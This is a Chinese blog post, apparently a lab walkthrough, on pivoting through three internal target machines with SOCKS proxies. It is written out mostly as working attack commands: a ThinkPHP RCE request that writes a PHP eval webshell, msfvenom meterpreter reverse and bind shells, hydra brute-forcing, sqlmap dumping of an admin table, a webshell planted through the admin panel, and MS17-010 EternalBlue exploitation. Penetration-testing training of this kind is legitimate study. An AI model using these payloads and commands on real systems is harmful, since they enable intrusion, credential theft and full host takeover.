Socks代理

红太狼 2023-10-13 17:16 16阅读 0赞

## Socks ##

利用[网络防火墙][Link 1]将组织内部的[网络结构][Link 2]与外部网络如 INTERNET 中有效地隔离开来，这种方法正变得逐渐流行起来。这些[防火墙系统][Link 3]通常以[应用层网关][Link 4]的形式工作在网络之间，提供受控的 TELNET 、 FTP 、 [SMTP][] 等的接入。 SOCKS 提供一个通用框架来使这些协议安全透明地穿过防火墙。 --来自百度

#### 什么是Socks代理 ####

全能代理，就像有很多[跳线][Link 5]的转接板，它只是简单地将一端的系统连接到另外一端。支持多种[协议][Link 6]，包括[http][]、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型，socks 4只支持[TCP协议][TCP]而socks 5支持[TCP/UDP协议][TCP_UDP]，还支持各种[身份验证][Link 7]机制等协议。其标准端口为1080。

####  ####

#### 操作环境准备： ####

一台vps（或者使用Kali模拟）

三台靶机模拟内网环境

### 实操一：使用MSF ###

**第一台靶机：**

**靶机信息**

**操作系统：**CentOS7\_64 IP：192.168.1.4

**信息收集：nmap -A -T4 -p- --script vuln xxx.xxx.xxx.xxx**

得到信息如下：

![a8cb534d3e714779b3e06e838fabcd37.png][]

![72abdadae31942089cee397683955269.png][]

![9e1827d94864455c9de22c9fd5fa7622.png][]

![ecdea0bf258349a79f952ae74c05c9ac.png][]

![62ff25589b29439281d79f01487f8f28.png][]![9fa711c7d985482682a35803f6bfb7e0.png][]![624ca48c730a4db49469687442cb89b2.png][]![20287b33f2a14ba58f7c4a543c40b959.png][]

> #### 分析利用 ####
> 
> 21 / 22端口：弱口令爆破  
> hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.4 ftp  
> hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.4 ssh
> 
> 3306端口：不允许远程IP连接
> 
> 8888端口：宝塔登录页面
> 
> 80端口:.
> 
> 存在远程命令执行漏洞，通过命令执行写入一句话，可GetShell。
> 
> /index.php?s=index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=phpinfo&vars\[1\]\[\]=1
> 
> /index.php?s=index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=whoami
> 
> /index.php?s=index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=file\_put\_contents&vars\[1\]\[\]=shell.php&vars\[1\]\[\]=<?php @eval($\_POST\[a\]);?>

ThinkPHP版本5.0.15

![71fb9f8e74404f4699c91266bdb08703.png][]

![b65b7ff327e94d6493a078d7804353ec.png][]

写入一句木马

![64c78385c46c4e8b9ea26c62b6b1714a.png][]

没有回显，表示写入成功

![8eaaee8fb2c044e78acb3d601c52a96b.png][]

使用蚁剑连接

连接成功，添加

![70277a8045584f0fa7cdebfe36f312f8.png][]

####  ####

### 信息收集 ###

**ifconfig**

\#发现存在192.168.22.0/24的内网网段

![c39320f09824468182d77fdeada828cf.png][]

**探测存活主机**

蚁剑上传fscan

chmod +x \#授予可执行权限

./fscan xxx.xxx.xxx.xxx >file.txt \#将扫描结果写入到txt文件

cat file.txt \#查看文件内容

![b4bdfdeac3644300a9c7916a7d81db75.png][]

**反弹shell**

1.反弹 Target1 的 Shell 到 MSF

msfvenom生成payload

msfvenom -p  linux/x64/meterpreter_reverse_tcp lhost=192.168.XXX.XXX lport=8088 -f elf > shell.elf

2.设置侦听器

\#打开msfconsole

handler -p linux/x64/meterpreter\_reverse\_tcp -H 192.168.xxx.xxx -P 8088

3.上传文件至targat1主机 /tmp 目录下（使用蚁剑）

授予可执行权限

![19c1106bbc224c26833d5686bd8b0cb6.png][]

4.执行文件

./shell.elf

5.反弹shell

![616e67f193904ab3a53ae7450d806af7.png][]

#### 建立Socks代理 ####

1.使用 MSF 的 socks5 模块启动 socks 代理服务

> use auxiliary/server/socks\_proxy
> 
> run

\# netstat -anlp | grep 1080 \#查看代理是否启动成功

2.添加路由

msf进入会话添加路由

> run autoroute -s 192.168.22.0/24
> 
> run autoroute -p

3.配置 proxychains 代理工具

vim /etc/proxychains4.conf

\#写入 socks5 127.0.0.1 1080 \#IP为攻击机的IP

\#proxychains curl 192.168.22.xxx \#查看是否可以访问内网机器

**第二台靶机：**

**靶机信息**

**靶机系统：**Ubunti16.04\_64 IP：192.168.22.129

本地开启代理

ip填写攻击机ip

![6ebebaf6115346b1a0013b618c3c2ebd.png][]

信息收集：

> proxychains nmap -sT -Pn -p- -n -T4 192.168.22.xxx

扫描结果如下：

![9d793f2f481a4ede81cb7a6ebaebe132.png][]

分析利用：

21 / 22 / 3306端口

弱口令爆破

proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.xx.xx ftp
    proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.xx.xx ssh
    proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.xx.xx mysql

8888端口 \#宝塔登录页面，无法利用

80端口 \#web页面，bagecms，SQL注入

可以手工注入，也可以使用sqlmap.

proxychains sqlmap -u 'http://192.168.xx.xx/index.php?r=vul&keyword=1' -p keyword

![90704a1b6c1e4763894cae9af7aadd97.png][]

proxychains sqlmap -u 'http://192.168.xx.xx/index.php?r=vul&keyword=1' -p keyword --dbs

![77d2ed6b5abd4256bdf8ee2f61c58af2.png][]

proxychains sqlmap -u 'http://192.168.22.xxx/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables

![dfc2cc6ac5cd4639ae34049e4f32b81d.png][]

proxychains sqlmap -u 'http://192.168.22.xxx/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump

![d8bfa0e0c9b54c118028d2e22e4f8260.png][]

登录后台

> 账号密码: admin/123qwe
> 
> 后台登录地址：http://192.168.22.xxx/index.php?r=admini/public/login \#登录接口可以扫目录，或百度。

![6d8c651141ee4576bca7f45726590436.png][]

####  ####

#### 后台任意文件修改 Getshell ####

> 登录后台发现存在任意文件修改
> 
> 点击模块，在 index.php 文件后面添加一句话马
> 
> 用蚁剑配置 socks 代理连接
> 
> Webshell地址：http://192.168.22.xxx/shell.php

![1b5b26c1bd5048c78d8ebe60043c5ba6.png][]

写入一句话木马，点击提交

![7e0a24363c2842e6b401b9701c782b09.png][]

#### SOCKS代理 ####

使用蚁剑连接

由于靶机在内网，无法直连，所以需要添加代理隧道

填写攻击机IP，端口1080

![d328019d9d6c4e8098dd7d723dca8bc3.png][]

连接成功

![7be4750924a540dda80fe578c1697b26.png][]

####  ####

#### 主机信息搜集 ####

发现存在33网段主机

![0b51df95a88d4a108457cb684054b8e4.png][]

#### 反弹shell ####

反弹 Target2 的 shell 到 MSF

生成Linuxpayload：

.elf 为Linux系统可执行文件

> msfvenom -p linux/x64/meterpreter/bind\_tcp lport=8082 -f elf > 22.elf

蚁剑上传至/tmp目录

chmod +x 22.elf \#授予可执行权限

运行文件 .22.elf

**创建正向监听器，建立正向连接**

> use exploit/multi/handler  
> set payload linux/x64/meterpreter/bind\_tcp  
> set rhost 192.168.22.129  
> set lport 8082  
> run
> 
> 获得shell

**添加路由**

> run autoroute -s 192.168.33.0/24  
> run autoroute -p

![1821239aee314156b7e512caa3304084.png][]

**第三台靶机：**

**靶机信息**

**靶机系统：**Windows7\_64 IP：192.168.33.128

信息收集

> proxychains nmap -sT -Pn -p- -n -T4 192.168.33.128

**开放端口：135/139/445/3389**

**分析利用**

445端口

检测ms17-010漏洞

use auxiliary/scanner/smb/smb\_ms17\_010  
msf5 auxiliary(scanner/smb/smb\_ms17\_010) > set RHOSTS 192.168.33.128  
msf5 auxiliary(scanner/smb/smb\_ms17\_010) > exploit

存在漏洞

利用ms17-010漏洞

use exploit/windows/smb/ms17_010_eternalblue
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.128
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 6666
    msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

![b666ce05a5bd45dda5e10f3f2fd24b74.png][]

获得shell

至此已获得三台靶机的shell

3389端口（远程桌面连接）

拒绝远程桌面连接

...

[Link 1]: https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E9%98%B2%E7%81%AB%E5%A2%99/7112674?fromModule=lemma_inlink
[Link 2]: https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E7%BB%93%E6%9E%84/8259917?fromModule=lemma_inlink
[Link 3]: https://baike.baidu.com/item/%E9%98%B2%E7%81%AB%E5%A2%99%E7%B3%BB%E7%BB%9F/7097654?fromModule=lemma_inlink
[Link 4]: https://baike.baidu.com/item/%E5%BA%94%E7%94%A8%E5%B1%82%E7%BD%91%E5%85%B3/2797078?fromModule=lemma_inlink
[SMTP]: https://baike.baidu.com/item/SMTP/175887?fromModule=lemma_inlink
[Link 5]: https://baike.baidu.com/item/%E8%B7%B3%E7%BA%BF/101287?fromModule=lemma_inlink
[Link 6]: https://baike.baidu.com/item/%E5%8D%8F%E8%AE%AE/13020269?fromModule=lemma_inlink
[http]: https://baike.baidu.com/item/http/243074?fromModule=lemma_inlink
[TCP]: https://baike.baidu.com/item/TCP%E5%8D%8F%E8%AE%AE/8988699?fromModule=lemma_inlink
[TCP_UDP]: https://baike.baidu.com/item/TCP%2FUDP%E5%8D%8F%E8%AE%AE/7719820?fromModule=lemma_inlink
[Link 7]: https://baike.baidu.com/item/%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81/2193233?fromModule=lemma_inlink
[a8cb534d3e714779b3e06e838fabcd37.png]: https://img-blog.csdnimg.cn/a8cb534d3e714779b3e06e838fabcd37.png
[72abdadae31942089cee397683955269.png]: https://img-blog.csdnimg.cn/72abdadae31942089cee397683955269.png
[9e1827d94864455c9de22c9fd5fa7622.png]: https://img-blog.csdnimg.cn/9e1827d94864455c9de22c9fd5fa7622.png
[ecdea0bf258349a79f952ae74c05c9ac.png]: https://img-blog.csdnimg.cn/ecdea0bf258349a79f952ae74c05c9ac.png
[62ff25589b29439281d79f01487f8f28.png]: https://img-blog.csdnimg.cn/62ff25589b29439281d79f01487f8f28.png
[9fa711c7d985482682a35803f6bfb7e0.png]: https://img-blog.csdnimg.cn/9fa711c7d985482682a35803f6bfb7e0.png
[624ca48c730a4db49469687442cb89b2.png]: https://img-blog.csdnimg.cn/624ca48c730a4db49469687442cb89b2.png
[20287b33f2a14ba58f7c4a543c40b959.png]: https://img-blog.csdnimg.cn/20287b33f2a14ba58f7c4a543c40b959.png
[71fb9f8e74404f4699c91266bdb08703.png]: https://img-blog.csdnimg.cn/71fb9f8e74404f4699c91266bdb08703.png
[b65b7ff327e94d6493a078d7804353ec.png]: https://img-blog.csdnimg.cn/b65b7ff327e94d6493a078d7804353ec.png
[64c78385c46c4e8b9ea26c62b6b1714a.png]: https://img-blog.csdnimg.cn/64c78385c46c4e8b9ea26c62b6b1714a.png
[8eaaee8fb2c044e78acb3d601c52a96b.png]: https://img-blog.csdnimg.cn/8eaaee8fb2c044e78acb3d601c52a96b.png
[70277a8045584f0fa7cdebfe36f312f8.png]: https://img-blog.csdnimg.cn/70277a8045584f0fa7cdebfe36f312f8.png
[c39320f09824468182d77fdeada828cf.png]: https://img-blog.csdnimg.cn/c39320f09824468182d77fdeada828cf.png
[b4bdfdeac3644300a9c7916a7d81db75.png]: https://img-blog.csdnimg.cn/b4bdfdeac3644300a9c7916a7d81db75.png
[19c1106bbc224c26833d5686bd8b0cb6.png]: https://img-blog.csdnimg.cn/19c1106bbc224c26833d5686bd8b0cb6.png
[616e67f193904ab3a53ae7450d806af7.png]: https://img-blog.csdnimg.cn/616e67f193904ab3a53ae7450d806af7.png
[6ebebaf6115346b1a0013b618c3c2ebd.png]: https://img-blog.csdnimg.cn/6ebebaf6115346b1a0013b618c3c2ebd.png
[9d793f2f481a4ede81cb7a6ebaebe132.png]: https://img-blog.csdnimg.cn/9d793f2f481a4ede81cb7a6ebaebe132.png
[90704a1b6c1e4763894cae9af7aadd97.png]: https://img-blog.csdnimg.cn/90704a1b6c1e4763894cae9af7aadd97.png
[77d2ed6b5abd4256bdf8ee2f61c58af2.png]: https://img-blog.csdnimg.cn/77d2ed6b5abd4256bdf8ee2f61c58af2.png
[dfc2cc6ac5cd4639ae34049e4f32b81d.png]: https://img-blog.csdnimg.cn/dfc2cc6ac5cd4639ae34049e4f32b81d.png
[d8bfa0e0c9b54c118028d2e22e4f8260.png]: https://img-blog.csdnimg.cn/d8bfa0e0c9b54c118028d2e22e4f8260.png
[6d8c651141ee4576bca7f45726590436.png]: https://img-blog.csdnimg.cn/6d8c651141ee4576bca7f45726590436.png
[1b5b26c1bd5048c78d8ebe60043c5ba6.png]: https://img-blog.csdnimg.cn/1b5b26c1bd5048c78d8ebe60043c5ba6.png
[7e0a24363c2842e6b401b9701c782b09.png]: https://img-blog.csdnimg.cn/7e0a24363c2842e6b401b9701c782b09.png
[d328019d9d6c4e8098dd7d723dca8bc3.png]: https://img-blog.csdnimg.cn/d328019d9d6c4e8098dd7d723dca8bc3.png
[7be4750924a540dda80fe578c1697b26.png]: https://img-blog.csdnimg.cn/7be4750924a540dda80fe578c1697b26.png
[0b51df95a88d4a108457cb684054b8e4.png]: https://img-blog.csdnimg.cn/0b51df95a88d4a108457cb684054b8e4.png
[1821239aee314156b7e512caa3304084.png]: https://img-blog.csdnimg.cn/1821239aee314156b7e512caa3304084.png
[b666ce05a5bd45dda5e10f3f2fd24b74.png]: https://img-blog.csdnimg.cn/b666ce05a5bd45dda5e10f3f2fd24b74.png